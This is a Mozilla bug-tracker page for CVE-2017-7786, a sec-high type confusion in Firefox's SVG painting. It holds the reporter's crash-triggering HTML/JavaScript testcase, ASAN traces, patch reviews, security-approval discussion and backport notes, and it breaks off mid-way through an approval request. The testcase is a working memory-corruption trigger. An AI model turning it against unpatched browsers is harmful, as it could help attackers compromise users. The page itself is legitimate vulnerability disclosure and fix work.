Bug 1365189 (CVE-2017-7786)

type confusion in mozilla::SVGGeometryFrame::GetCanvasTM

VERIFIED FIXED in Firefox -esr52

Status

()

VERIFIED FIXED
2 years ago
a year ago

People

(Reporter: nils, Assigned: jwatt)

Tracking

({csectype-bounds, sec-high})

30 Branch
mozilla56
csectype-bounds, sec-high
Points:
---
Bug Flags:
sec-bounty +
in-testsuite ?
qe-verify +

Firefox Tracking Flags

(firefox-esr45 wontfix, firefox-esr5255+ verified, firefox53 wontfix, firefox54+ wontfix, firefox55+ verified, firefox56 verified)

Details

(Whiteboard: [adv-main55+][adv-esr52.3+][post-critsmash-triage])

Attachments

(7 attachments, 5 obsolete attachments)

18.07 KB, text/plain
Details
319 bytes, text/html
Details
1.13 KB, patch
dholbert
: review+
Details | Diff | Splinter Review
3.24 KB, patch
jwatt
: review+
abillings
: sec-approval+
Details | Diff | Splinter Review
3.25 KB, patch
Details | Diff | Splinter Review
3.23 KB, patch
Details | Diff | Splinter Review
3.29 KB, patch
Details | Diff | Splinter Review
(Reporter)

Description

2 years ago
The following testcase crashes the latest ASAN build of Firefox.


<script>
function start() {
	o0=document.createElement('iframe');
	o0.src="data:text/html,<html><svg xmlns='http://www.w3.org/2000/svg'></svg></html>";
	o0.addEventListener('load', fun0,false);
	document.body.appendChild(o0);
	o3=document;
}
function fun0() {
	o6=o0.contentDocument;
	o7=o6.getElementsByTagName('*')[3];
	o316=document.documentElement;
	o3.designMode='on';
	document.replaceChild(o6.documentElement,window.top.document.documentElement);
	o1024=document.createElementNS('http://www.w3.org/2000/svg','filter');
	o1024.setAttribute('id','id0');
	o1031=document.createElementNS('http://www.w3.org/2000/svg','feMerge');
	o1039=document.createElementNS('http://www.w3.org/2000/svg','feMergeNode');
	o1031.appendChild(o1039);
	o1024.appendChild(o1031);
	o7.appendChild(o1024);
	o1039.style.filter='url(#id0)';
	o316.style.filter='url(#id7)';
	o1039.id='id20';
	o610=document.createElement('style');
        o611=document.createTextNode("*{ background: -moz-element(#id20);");
        o610.appendChild(o611);
	document.documentElement.appendChild(o610);
}
</script>
<body onload="start()"></body>


ASAN output:

=================================================================
==28350==ERROR: AddressSanitizer: global-buffer-overflow on address 0x7fd26840d038 at pc 0x7fd2615b5745 bp 0x7fff4bdc59b0 sp 0x7fff4bdc59a8
READ of size 8 at 0x7fd26840d038 thread T0 (Web Content)
    #0 0x7fd2615b5744 in mozilla::SVGGeometryFrame::GetCanvasTM() /home/worker/workspace/build/src/layout/svg/SVGGeometryFrame.cpp:701:52
    #1 0x7fd2616446ac in nsSVGUtils::GetCanvasTM(nsIFrame*) /home/worker/workspace/build/src/layout/svg/nsSVGUtils.cpp:428:50
    #2 0x7fd2615eb37f in nsFilterInstance::GetPreFilterNeededArea(nsIFrame*, nsRegion const&) /home/worker/workspace/build/src/layout/svg/nsFilterInstance.cpp:114:18
    #3 0x7fd2616225ae in nsSVGIntegrationUtils::GetRequiredSourceForInvalidArea(nsIFrame*, nsRect const&) /home/worker/workspace/build/src/layout/svg/nsSVGIntegrationUtils.cpp:354:10
    #4 0x7fd2612926cb in nsIFrame::BuildDisplayListForStackingContext(nsDisplayListBuilder*, nsRect const&, nsDisplayList*) /home/worker/workspace/build/src/layout/generic/nsFrame.cpp:2448:7
    #5 0x7fd26110ba2c in nsLayoutUtils::PaintFrame(nsRenderingContext*, nsIFrame*, nsRegion const&, unsigned int, nsDisplayListBuilderMode, nsLayoutUtils::PaintFrameFlags) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3598:15
    #6 0x7fd26162a025 in PaintFrameCallback::operator()(gfxContext*, gfxRect const&, mozilla::gfx::SamplingFilter, gfxMatrix const&) /home/worker/workspace/build/src/layout/svg/nsSVGIntegrationUtils.cpp:1200:3
    #7 0x7fd25ca35358 in gfxCallbackDrawable::Draw(gfxContext*, gfxRect const&, mozilla::gfx::ExtendMode, mozilla::gfx::SamplingFilter, double, gfxMatrix const&) /home/worker/workspace/build/src/gfx/thebes/gfxDrawable.cpp:172:16
    #8 0x7fd25ca34c26 in gfxCallbackDrawable::MakeSurfaceDrawable(mozilla::gfx::SamplingFilter) /home/worker/workspace/build/src/gfx/thebes/gfxDrawable.cpp:129:5
    #9 0x7fd25ca351a5 in gfxCallbackDrawable::Draw(gfxContext*, gfxRect const&, mozilla::gfx::ExtendMode, mozilla::gfx::SamplingFilter, double, gfxMatrix const&) /home/worker/workspace/build/src/gfx/thebes/gfxDrawable.cpp:163:28
    #10 0x7fd25cbae754 in gfxUtils::DrawPixelSnapped(gfxContext*, gfxDrawable*, gfxSize const&, mozilla::image::ImageRegion const&, mozilla::gfx::SurfaceFormat, mozilla::gfx::SamplingFilter, unsigned int, double) /home/worker/workspace/build/src/gfx/thebes/gfxUtils.cpp:584:15
    #11 0x7fd25cc30e40 in mozilla::image::DynamicImage::Draw(gfxContext*, mozilla::gfx::IntSizeTyped<mozilla::gfx::UnknownUnits> const&, mozilla::image::ImageRegion const&, unsigned int, mozilla::gfx::SamplingFilter, mozilla::Maybe<mozilla::SVGImageContext> const&, unsigned int, float) /home/worker/workspace/build/src/image/DynamicImage.cpp:238:5
    #12 0x7fd2611226da in DrawImageInternal(gfxContext&, nsPresContext*, imgIContainer*, mozilla::gfx::SamplingFilter, nsRect const&, nsRect const&, nsPoint const&, nsRect const&, mozilla::Maybe<mozilla::SVGImageContext> const&, unsigned int, mozilla::gfx::ExtendMode, float) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:6692:22
    #13 0x7fd26112685b in nsLayoutUtils::DrawImage(gfxContext&, nsPresContext*, imgIContainer*, mozilla::gfx::SamplingFilter, nsRect const&, nsRect const&, nsPoint const&, nsRect const&, unsigned int, float) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:6925:10
    #14 0x7fd261971480 in mozilla::nsImageRenderer::Draw(nsPresContext*, nsRenderingContext&, nsRect const&, nsRect const&, nsRect const&, nsPoint const&, nsSize const&, mozilla::gfx::IntRectTyped<mozilla::CSSPixel> const&, float) /home/worker/workspace/build/src/layout/painting/nsImageRenderer.cpp:544:9
    #15 0x7fd2618c158b in mozilla::nsImageRenderer::DrawLayer(nsPresContext*, nsRenderingContext&, nsRect const&, nsRect const&, nsPoint const&, nsRect const&, nsSize const&, float) /home/worker/workspace/build/src/layout/painting/nsImageRenderer.cpp:706:10
    #16 0x7fd2618b927d in nsCSSRendering::PaintStyleImageLayerWithSC(nsCSSRendering::PaintBGParams const&, nsRenderingContext&, nsStyleContext*, nsStyleBorder const&) /home/worker/workspace/build/src/layout/painting/nsCSSRendering.cpp:2721:30
    #17 0x7fd2618b72e9 in nsCSSRendering::PaintStyleImageLayer(nsCSSRendering::PaintBGParams const&, nsRenderingContext&) /home/worker/workspace/build/src/layout/painting/nsCSSRendering.cpp:1943:10
    #18 0x7fd261927229 in nsDisplayBackgroundImage::PaintInternal(nsDisplayListBuilder*, nsRenderingContext*, nsRect const&, nsRect*) /home/worker/workspace/build/src/layout/painting/nsDisplayList.cpp:3689:5
    #19 0x7fd26123d158 in nsDisplayCanvasBackgroundImage::Paint(nsDisplayListBuilder*, nsRenderingContext*) /home/worker/workspace/build/src/layout/generic/nsCanvasFrame.cpp:390:3
    #20 0x7fd26189a639 in mozilla::FrameLayerBuilder::PaintItems(nsTArray<mozilla::FrameLayerBuilder::ClippedDisplayItem>&, mozilla::gfx::IntRectTyped<mozilla::gfx::UnknownUnits> const&, gfxContext*, nsRenderingContext*, nsDisplayListBuilder*, nsPresContext*, mozilla::gfx::IntPointTyped<mozilla::gfx::UnknownUnits> const&, float, float, int) /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:6036:21
    #21 0x7fd26189d114 in mozilla::FrameLayerBuilder::DrawPaintedLayer(mozilla::layers::PaintedLayer*, gfxContext*, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, void*) /home/worker/workspace/build/src/layout/painting/FrameLayerBuilder.cpp:6211:19
    #22 0x7fd25c8199da in mozilla::layers::ClientPaintedLayer::PaintThebes(nsTArray<mozilla::layers::ReadbackProcessor::Update>*) /home/worker/workspace/build/src/gfx/layers/client/ClientPaintedLayer.cpp:86:5
    #23 0x7fd25c81a656 in mozilla::layers::ClientPaintedLayer::RenderLayerWithReadback(mozilla::layers::ReadbackProcessor*) /home/worker/workspace/build/src/gfx/layers/client/ClientPaintedLayer.cpp:140:3
    #24 0x7fd25c84b66f in mozilla::layers::ClientContainerLayer::RenderLayer() /home/worker/workspace/build/src/gfx/layers/client/ClientContainerLayer.h:57:29
    #25 0x7fd25c815096 in mozilla::layers::ClientLayerManager::EndTransactionInternal(void (*)(mozilla::layers::PaintedLayer*, gfxContext*, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, void*), void*, mozilla::layers::LayerManager::EndTransactionFlags) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:375:13
    #26 0x7fd25c815907 in mozilla::layers::ClientLayerManager::EndTransaction(void (*)(mozilla::layers::PaintedLayer*, gfxContext*, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, mozilla::layers::DrawRegionClip, mozilla::gfx::IntRegionTyped<mozilla::gfx::UnknownUnits> const&, void*), void*, mozilla::layers::LayerManager::EndTransactionFlags) /home/worker/workspace/build/src/gfx/layers/client/ClientLayerManager.cpp:433:3
    #27 0x7fd261910f47 in nsDisplayList::PaintRoot(nsDisplayListBuilder*, nsRenderingContext*, unsigned int) /home/worker/workspace/build/src/layout/painting/nsDisplayList.cpp:2292:17
    #28 0x7fd26110ca1e in nsLayoutUtils::PaintFrame(nsRenderingContext*, nsIFrame*, nsRegion const&, unsigned int, nsDisplayListBuilderMode, nsLayoutUtils::PaintFrameFlags) /home/worker/workspace/build/src/layout/base/nsLayoutUtils.cpp:3721:12
    #29 0x7fd2610127f6 in mozilla::PresShell::Paint(nsView*, nsRegion const&, unsigned int) /home/worker/workspace/build/src/layout/base/PresShell.cpp:6498:5
    #30 0x7fd2608729b2 in nsViewManager::ProcessPendingUpdatesPaint(nsIWidget*) /home/worker/workspace/build/src/view/nsViewManager.cpp:481:19
    #31 0x7fd260871915 in nsViewManager::ProcessPendingUpdatesForView(nsView*, bool) /home/worker/workspace/build/src/view/nsViewManager.cpp:413:33
    #32 0x7fd2608752b5 in nsViewManager::ProcessPendingUpdates() /home/worker/workspace/build/src/view/nsViewManager.cpp:1095:5
    #33 0x7fd260f735a8 in nsRefreshDriver::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:1985:11
    #34 0x7fd260f7e973 in mozilla::RefreshDriverTimer::TickRefreshDrivers(long, mozilla::TimeStamp, nsTArray<RefPtr<nsRefreshDriver> >&) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:300:7
    #35 0x7fd260f7e644 in mozilla::RefreshDriverTimer::Tick(long, mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:322:5
    #36 0x7fd260f80cfb in RunRefreshDrivers /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:753:5
    #37 0x7fd260f80cfb in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::TickRefreshDriver(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:666
    #38 0x7fd260f808a5 in mozilla::VsyncRefreshDriverTimer::RefreshDriverVsyncObserver::NotifyVsync(mozilla::TimeStamp) /home/worker/workspace/build/src/layout/base/nsRefreshDriver.cpp:567:9
    #39 0x7fd2617a4542 in mozilla::layout::VsyncChild::RecvNotify(mozilla::TimeStamp const&) /home/worker/workspace/build/src/layout/ipc/VsyncChild.cpp:67:16
    #40 0x7fd25ba765e9 in mozilla::layout::PVsyncChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PVsyncChild.cpp:155:20
    #41 0x7fd25b7349a4 in mozilla::ipc::PBackgroundChild::OnMessageReceived(IPC::Message const&) /home/worker/workspace/build/src/obj-firefox/ipc/ipdl/PBackgroundChild.cpp:1630:28
    #42 0x7fd25b68cf64 in mozilla::ipc::MessageChannel::DispatchAsyncMessage(IPC::Message const&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2040:25
    #43 0x7fd25b689df7 in mozilla::ipc::MessageChannel::DispatchMessage(IPC::Message&&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1975:17
    #44 0x7fd25b68bb04 in mozilla::ipc::MessageChannel::RunMessage(mozilla::ipc::MessageChannel::MessageTask&) /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1844:5
    #45 0x7fd25b68c136 in mozilla::ipc::MessageChannel::MessageTask::Run() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:1877:15
    #46 0x7fd25a8ef8a0 in nsThread::ProcessNextEvent(bool, bool*) /home/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1270:14
    #47 0x7fd25a8ec2e8 in NS_ProcessNextEvent(nsIThread*, bool) /home/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:393:10
    #48 0x7fd25b694f21 in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/glue/MessagePump.cpp:96:21
    #49 0x7fd25b5f3c50 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:10
    #50 0x7fd25b5f3c50 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #51 0x7fd25b5f3c50 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #52 0x7fd2608eda8f in nsBaseAppShell::Run() /home/worker/workspace/build/src/widget/nsBaseAppShell.cpp:156:27
    #53 0x7fd264139fb7 in XRE_RunAppShell() /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:893:22
    #54 0x7fd25b5f3c50 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:10
    #55 0x7fd25b5f3c50 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #56 0x7fd25b5f3c50 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #57 0x7fd264139ae5 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:709:34
    #58 0x4eb7a3 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
    #59 0x4eb7a3 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285
    #60 0x7fd27633082f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291
    #61 0x41d0f8 in _start (/home/nils/fuzzer3/firefox/firefox+0x41d0f8)

0x7fd26840d038 is located 0 bytes to the right of global variable 'vtable for SVGFEContainerFrame' defined in '/home/worker/workspace/build/src/obj-firefox/layout/svg/Unified_cpp_layout_svg0.cpp' (0x7fd26840cba0) of size 1176
SUMMARY: AddressSanitizer: global-buffer-overflow /home/worker/workspace/build/src/layout/svg/SVGGeometryFrame.cpp:701:52 in mozilla::SVGGeometryFrame::GetCanvasTM()
Shadow bytes around the buggy address:
  0x0ffacd0799b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffacd0799c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffacd0799d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffacd0799e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffacd0799f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0ffacd079a00: 00 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 f9 f9 f9
  0x0ffacd079a10: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9
  0x0ffacd079a20: f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 f9 00 00 00 00
  0x0ffacd079a30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffacd079a40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0ffacd079a50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==28350==ABORTING
[Parent 27963] WARNING: pipe error (57): Connection reset by peer: file /home/worker/workspace/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 353
[Parent 27963] WARNING: pipe error (53): Connection reset by peer: file /home/worker/workspace/build/src/ipc/chromium/src/chrome/common/ipc_channel_posix.cc, line 353

###!!! [Parent][MessageChannel] Error: (msgtype=0x2C0081,name=PBrowser::Msg_Destroy) Channel error: cannot send/recv

ASAN:DEADLYSIGNAL
=================================================================
==28371==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7f4597a8f767 bp 0x7f4593c62380 sp 0x7f4593c62370 T2)
==28371==The signal is caused by a WRITE memory access.
==28371==Hint: address points to the zero page.
    #0 0x7f4597a8f766 in mozilla::ipc::MessageChannel::OnChannelErrorFromLink() /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2465:13
    #1 0x7f4597a948b7 in OnChannelError /home/worker/workspace/build/src/ipc/glue/MessageLink.cpp:368:12
    #2 0x7f4597a948b7 in non-virtual thunk to mozilla::ipc::ProcessLink::OnChannelError() /home/worker/workspace/build/src/ipc/glue/MessageLink.cpp:360
    #3 0x7f4597a40c71 in event_persist_closure /home/worker/workspace/build/src/ipc/chromium/src/third_party/libevent/event.c:1580:9
    #4 0x7f4597a40c71 in event_process_active_single_queue /home/worker/workspace/build/src/ipc/chromium/src/third_party/libevent/event.c:1639
    #5 0x7f4597a383d9 in event_process_active /home/worker/workspace/build/src/ipc/chromium/src/third_party/libevent/event.c:1741:9
    #6 0x7f4597a383d9 in event_base_loop /home/worker/workspace/build/src/ipc/chromium/src/third_party/libevent/event.c:1961
    #7 0x7f45979f8acd in base::MessagePumpLibevent::Run(base::MessagePump::Delegate*) /home/worker/workspace/build/src/ipc/chromium/src/base/message_pump_libevent.cc:373:7
    #8 0x7f45979f3c50 in RunInternal /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:238:10
    #9 0x7f45979f3c50 in RunHandler /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:231
    #10 0x7f45979f3c50 in MessageLoop::Run() /home/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:211
    #11 0x7f4597a11e3f in base::Thread::ThreadMain() /home/worker/workspace/build/src/ipc/chromium/src/base/thread.cc:179:16
    #12 0x7f4597a0129c in ThreadFunc(void*) /home/worker/workspace/build/src/ipc/chromium/src/base/platform_thread_posix.cc:38:13
    #13 0x7f45b37846b9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76b9)
    #14 0x7f45b280d82c in clone /build/glibc-9tT8Do/glibc-2.23/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:109

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/worker/workspace/build/src/ipc/glue/MessageChannel.cpp:2465:13 in mozilla::ipc::MessageChannel::OnChannelErrorFromLink()
Thread T2 (Chrome_ChildThr) created by T0 (Web Content) here:
    #0 0x4a3d56 in __interceptor_pthread_create /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:245:3
    #1 0x7f4597a001ec in CreateThread /home/worker/workspace/build/src/ipc/chromium/src/base/platform_thread_posix.cc:139:14
    #2 0x7f4597a001ec in PlatformThread::Create(unsigned long, PlatformThread::Delegate*, unsigned long*) /home/worker/workspace/build/src/ipc/chromium/src/base/platform_thread_posix.cc:150
    #3 0x7f4597a1187e in base::Thread::StartWithOptions(base::Thread::Options const&) /home/worker/workspace/build/src/ipc/chromium/src/base/thread.cc:98:8
    #4 0x7f4597a968d7 in mozilla::ipc::ProcessChild::ProcessChild(int) /home/worker/workspace/build/src/ipc/glue/ProcessChild.cpp:24:5
    #5 0x7f45a0539a42 in ContentProcess /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/ContentProcess.h:31:7
    #6 0x7f45a0539a42 in XRE_InitChildProcess(int, char**, XREChildData const*) /home/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:654
    #7 0x4eb7a3 in content_process_main /home/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:64:30
    #8 0x4eb7a3 in main /home/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:285
    #9 0x7f45b272782f in __libc_start_main /build/glibc-9tT8Do/glibc-2.23/csu/../csu/libc-start.c:291

==28371==ABORTING
(Reporter)

Comment 1

2 years ago
Posted file ASAN output
INFO: Last good revision: 44ae8462d6ab (2014-03-12)
INFO: First bad revision: 46041cc216fd (2014-03-13)
INFO: Pushlog:
https://hg.mozilla.org/mozilla-central/pushloghtml?fromchange=44ae8462d6ab&tochange=46041cc216fd

Bug 948265 maybe?
https://hg.mozilla.org/mozilla-central/rev/7997cb5af49c
Has Regression Range: --- → yes
status-firefox53: --- → wontfix
status-firefox54: --- → affected
status-firefox55: --- → affected
status-firefox-esr45: --- → wontfix
status-firefox-esr52: --- → affected
tracking-firefox54: --- → ?
tracking-firefox55: --- → ?
tracking-firefox-esr52: --- → ?
Flags: needinfo?(jwatt)
Version: Trunk → 30 Branch
Keywords: csectype-bounds, sec-high
Track 54+/55+ as sec-high.
tracking-firefox54: ? → +
tracking-firefox55: ? → +
(Assignee)

Comment 4

2 years ago
Posted file simplified testcase
Assignee: nobody → jwatt
Attachment #8868038 - Attachment is obsolete: true
Flags: needinfo?(jwatt)
(Assignee)

Comment 5

2 years ago
Either of these checks is sufficient to prevent this crash, but both seem like they should be added.
Attachment #8868981 - Flags: review?(dholbert)
(Assignee)

Comment 7

2 years ago
Attachment #8868982 - Attachment is obsolete: true
Attachment #8868982 - Flags: review?(dholbert)
Attachment #8868983 - Flags: review?(dholbert)
Group: core-security → layout-core-security
Comment on attachment 8868981 [details] [diff] [review]
part 1 - Prevent painting of non-displayable SVG elements

Review of attachment 8868981 [details] [diff] [review]:
-----------------------------------------------------------------

::: layout/painting/nsImageRenderer.cpp
@@ +194,5 @@
>          nsLayoutUtils::SurfaceFromElement(property->GetReferencedElement());
>        if (!mImageElementSurface.GetSourceSurface()) {
> +        nsIFrame* paintServerFrame = property->GetReferencedFrame();
> +        if (!paintServerFrame ||
> +            // trying to display non-displayable frames can crash

Right now this sounds kind of like a band-aid "oops let's not crash" kind of comment, which makes it a little harder to trust.

Could you pull this out of the if condition and phrase it more clearly to explain the control flow? Something like:

        // If there's no referenced frame, or the referenced frame is
        // non-displayable SVG, then we have nothing valid to paint.
        if (!paintServerFrame || [...]

::: layout/svg/nsSVGIntegrationUtils.cpp
@@ +1275,5 @@
>    }
>  
> +  if (aFrame->IsFrameOfType(nsIFrame::eSVG) &&
> +      !static_cast<nsSVGDisplayableFrame*>(do_QueryFrame(aFrame))) {
> +    return nullptr; // trying to display non-displayable frames can crash

This, too, feels a bit like an "oops how did we get here" kind of comment.  If it is -- and that might be OK -- we should perhaps convert it into a NS_ERROR(...) just before the "return nullptr".

(Because: this seems like something we should catch earlier on, when we decide on aFrame, ideally -- as we do in the nsImageRenderer codepath via your other tweak here.  So it'd be handy to have this be something that fuzzers can detect & file bugs about, so we can catch any other callers into this code that pass in non-displayable frames.)
Attachment #8868981 - Flags: review?(dholbert) → review+
Comment on attachment 8868983 [details] [diff] [review]
part 2 - Add crashtest for crash painting non-displayable SVG element as background image

Review of attachment 8868983 [details] [diff] [review]:
-----------------------------------------------------------------

r=me on the crashtest (landing after the fix has made it to all supported builds of course), assuming you've verified that it does crash in the crashtest harness in unpatched builds.
Attachment #8868983 - Flags: review?(dholbert) → review+
(Assignee)

Comment 10

2 years ago
The nsImageRenderer.cpp change is the earliest possible point where we can check whether the element that the content references is valid. That check is not a "just in case" check. It's entirely possible for content to reference nonsensical elements, and this is the logical place to guard against that.

The nsSVGIntegrationUtils.cpp is more of a safety check since there are ways other than -moz-element to enter this code. Adding an NS_ERROR sounds like a good idea. MOZ_ASSERT_UNREACHABLE sounds better to me though. :)
(Assignee)

Comment 11

2 years ago
[Security approval request comment]
How easily could an exploit be constructed based on the patch?

It would take some work or knowledge of our code to figure out what sort of markup would get us into the error state. The apparent need for designMode is particularly non-obvious.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

Hopefully not.

Which older supported branches are affected by this flaw?

All of them (everything back to March 2014 - https://hg.mozilla.org/mozilla-central/rev/7997cb5af49c )

If not all supported branches, which bug introduced the flaw?

Bug 948265.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Not backported yet, but should be simple enough.

How likely is this patch to cause regressions; how much testing does it need?

Pretty unlikely. We're making an error condition a no-op.
Attachment #8868981 - Attachment is obsolete: true
Attachment #8871200 - Flags: sec-approval?
Attachment #8871200 - Flags: review+
sec-approval+ for trunk. 
We'll want this on Beta and ESR52 as well.
tracking-firefox-esr52: ? → 54+
Attachment #8871200 - Flags: sec-approval? → sec-approval+
https://hg.mozilla.org/integration/mozilla-inbound/rev/7b3e7c43611ba7c586eacfd00af7dce905f97b92

Please request Beta and ESR52 approval on this at your earliest convenience.
Flags: needinfo?(jwatt)
Flags: in-testsuite?
(Assignee)

Comment 14

2 years ago
Comment on attachment 8871200 [details] [diff] [review]
part 1 - Prevent painting of non-displayable SVG elements [r=dholbert]

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration:
User impact if declined: sec vuln
Fix Landed on Version: 55
Risk to taking this patch (and alternatives if risky): low
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Approval Request Comment
[Feature/Bug causing the regression]: bug 948265
[Has the fix been verified in Nightly?]: just landed
[Needs manual test from QE? If yes, steps to reproduce]: no
[List of other uplifts needed for the feature/fix]: none
Flags: needinfo?(jwatt)
Attachment #8871200 - Flags: approval-mozilla-esr52?
Attachment #8871200 - Flags: approval-mozilla-beta?
Comment on attachment 8871200 [details] [diff] [review]
part 1 - Prevent painting of non-displayable SVG elements [r=dholbert]

Had to back this out for reftest failures :(
https://hg.mozilla.org/integration/mozilla-inbound/rev/3b51e0c8b6cce5ccc6c81c3bbbeafaf5dcab8b30

https://treeherder.mozilla.org/logviewer.html#?job_id=103244755&repo=mozilla-inbound
Attachment #8871200 - Flags: approval-mozilla-esr52?
Attachment #8871200 - Flags: approval-mozilla-beta?
Marked Firefox 54 and ESR52.2 as won't fix since we've built release candidates or are in the process of doing so.
tracking-firefox-esr52: 54+ → 55+
As a sec-high that landed on m-c, is this a candidate for point releases, perhaps as an add-on?
Flags: needinfo?(abillings)
We can't ship add-ons for compiled code. The only options here are point release ride-along or shipping with 55/ESR52.3 at this point.
I'm not sure why I'm ni? here. This bounced and isn't in 54. Barring a point release, this goes to 55. Release Management will make the call on a point release but unless we think this is a realistic zero day, it probably is just going to wait for 55.
Flags: needinfo?(abillings)
(Assignee)

Comment 20

2 years ago
Drat, I just noticed this bounced when I happened to notice this is mentioned as being assigned to me in the latest tracking email. Investigating.
Flags: needinfo?(jwatt)
(Assignee)

Comment 21

2 years ago
It seems that -moz-element is allowed to reference SVG paint server's directly. This fixes that and now the failing tests pass.
Attachment #8871200 - Attachment is obsolete: true
Flags: needinfo?(jwatt)
Attachment #8879644 - Flags: review?(dholbert)
Comment on attachment 8879644 [details] [diff] [review]
part 1 - Prevent painting of non-displayable SVG elements

r=me with comment tweaked to hint at the now-modified condition, as discussed on IRC
Attachment #8879644 - Flags: review?(dholbert) → review+
(Assignee)

Comment 24

2 years ago
Same as for trunk but with a minor #include conflict resolved. Confirmed that this compiles.
(Assignee)

Comment 25

2 years ago
Had the same minor conflict in the #includes section, plus I had to change the name of nsSVGDisplayableFrame to its old class name nsISVGChildFrame to get the patch to compile.
(Assignee)

Comment 26

2 years ago
Oh, and for the esr52 patch the patched code is layout/base/nsCSSRendering.cpp rather than in layout/painting/nsImageRenderer.cpp. It's the same code though.
(Assignee)

Comment 27

2 years ago
Again, the same minor conflict in the #includes section, and the patched code is is in layout/painting/nsCSSRendering.cpp rather than in layout/painting/nsImageRenderer.cpp as it is on trunk (same code though).
(Assignee)

Comment 28

2 years ago
Comment on attachment 8879650 [details] [diff] [review]
part 1 - Prevent SVG elements that are neither displayable nor paint servers from painting [r=dholbert]

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

Which older supported branches are affected by this flaw?

